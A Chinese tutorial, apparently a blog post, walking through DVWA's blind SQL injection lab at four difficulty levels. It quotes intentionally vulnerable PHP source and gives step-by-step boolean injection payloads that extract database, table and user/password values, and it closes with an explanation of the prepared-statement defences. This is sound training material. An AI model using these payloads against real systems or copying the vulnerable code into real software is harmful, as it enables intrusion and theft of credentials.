DVWA上SQL Injection(Blind)全难度

相比于常规的SQL注入,他不会将返回具体的数据信息或语法信息,只会将服务器包装后的信息返回到页面中。

常规SQL注入与SQL盲注详细对比

SQL盲注流程:

1.判断是否存在注入,注入的类型

2.猜解当前数据库名称

3.猜解数据库中的表名

4.猜解表中的字段名

5.获取表中的字段值

6.验证字段值的有效性

7.获取数据库的其他信息:版本、用户…

一、low难度

1、源码

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Get input
    $id = $_GET[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?> 

对传参没有进行任何检查、过滤,返回参数只有User ID exists in the database.和User ID is MISSING from the database.两种

2、判断是否存在注入及注入的类型(基于布尔SQL盲注)

(1)输入1asdf,返回User ID exists in the database,无报错证明是字符型的

(2)输入1',返回User ID is MISSING from the database,证明是单引号闭合

(3)输入 1' and 1=1 # ,输出 exists

(4)输入 1' and 1=2 # ,输出 MISSING,证明存在注入

3、猜数据库名

利用length()函数猜出数据库名的长度,1' and length(database())=4 #,不报错,数据库名的长度为4

然后用ascii()函数和substr()函数,采用二分法猜数据库的名字。

输入1' and ascii(substr(database(),1,1))>90 #,显示存在,说明数据库名的第一个字符的ascii值大于90;

输入1' and ascii(substr(database(),1,1))<110 #,显示存在,说明数据库名的第一个字符的ascii值小于110;

输入1' and ascii(substr(database(),1,1))=100 #,显示存在,ASCII的表去找对应的字母为d

输入1' and ascii(substr(database(),2,1))>90 # 找第二个字母

重复以上步骤,得到库名为dvwa

4、猜表名

1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 #,输出exists

所以一共有两个表,我们先猜第一个表的长度

输入:1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>10 #,输出MISSING

使用二分法 1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>5 #,输出 exists

直到—— 1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,输出 exists,即第一个表名称字符长为9。

现在猜第一个表的第一个字母

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>88 #

直到—— 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103 #,即对应的字母为g

然后我们再去猜其他的8个字母,为u、e、s、t、b、o、o、k,该表名即为guestbook。

同理猜第二个表的名字,users

5、猜列名

就直接拿 users表为例了。

先猜表中的字段数目1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8 # (中间步骤省略了) 数目为 8

猜user表各个名称,按照常规流程,从users表的第1个字段开始,对其猜解每一个组成字符,获取到完整的第1个字段名称...然后是第2/3/.../8个字段名称。当字段数目较多、名称较长的时候,若依然按照以上方式手工猜解,则会耗费比较多的时间。当时间有限的情况下,实际上有的字段可能并不太需要获取,字段的位置也暂且不作太多关注,首先获取几个包含键信息的字段,如:用户名、密码...

【猜想】数据库中可能保存的字段名称

用户名:username/user_name/uname/u_name/user/name/...

密码:password/pass_word/pwd/pass/...

所以说我们的命令就可以是 1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='user')=1 #,输出exists

1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='password')=1 #,输出exists

所以我们可以知道 users表中有 user和password。还可以试试别的

6、猜字段值

同样使用二分法来做,直接写最后一步了:

用户名的字段值:1' and length(substr((select user from users limit 0,1),1))=5 #,输出exists

——说明user字段中第1个字段值的字符长度=5。

密码的字段值:1' and length(substr((select password from users limit 0,1),1))=32 #,

——说明password字段中第1个字段值的字符长度=32(基本上这么长的密码位数可能是用md5的加密方式保存的)

然后再使用二分法猜解user字段的值:(用户名)

1' and ascii(substr((select user from users limit 0,1),1,1))=xxx #(第一个字符)

1' and ascii(substr((select user from users limit 0,1),2,1))=xxx #(第二个字符)

……

猜解password字段的值:(密码)

1' and ascii(substr((select password from users limit 0,1),1,1))=xxx #(第一个字符)

二、Medium难度

1、源码

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $id = $_POST[ 'id' ];
    $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    //mysql_close();
}

?> 

和普通的SQL注入方式差不多,只是需要BP来抓包修改参数值

与Low过程相似

三、High难度

1、源码

<?php

if( isset( $_COOKIE[ 'id' ] ) ) {
    // Get input
    $id = $_COOKIE[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Might sleep a random amount
        if( rand( 0, 5 ) == 3 ) {
            sleep( rand( 2, 4 ) );
        }

        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?> 

对于LIMIT 1的限制输出记录数目,可以利用#注释其限制;服务端可能会随机执行sleep()函数,若执行,则延迟的时间是随机在2-4s,这样会对正常的基于时间延迟的盲注测试造成干扰。因此可以考虑用基于布尔的盲注进行测试。

四、Impossible难度

1、源码

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) {
        // Check the database
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
        $data->bindParam( ':id', $id, PDO::PARAM_INT );
        $data->execute();

        // Get results
        if( $data->rowCount() == 1 ) {
            // Feedback for end user
            echo '<pre>User ID exists in the database.</pre>';
        }
        else {
            // User wasn't found, so the page wasn't!
            header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

            // Feedback for end user
            echo '<pre>User ID is MISSING from the database.</pre>';
        }
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

impossible.php代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入

只有当返回的查询结果数量为一个记录时,才会成功输出,这样就有效预防了暴库

利用is_numeric($id)函数来判断输入的id是否是数字or数字字符串,满足条件才知晓query查询语句

Anti-CSRF token机制的加入了进一步提高了安全性,session_token是随机生成的动态值,每次向服务器请求,客户端都会携带最新从服务端已下发的session_token值向服务器请求作匹配验证,相互匹配才会验证通过

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值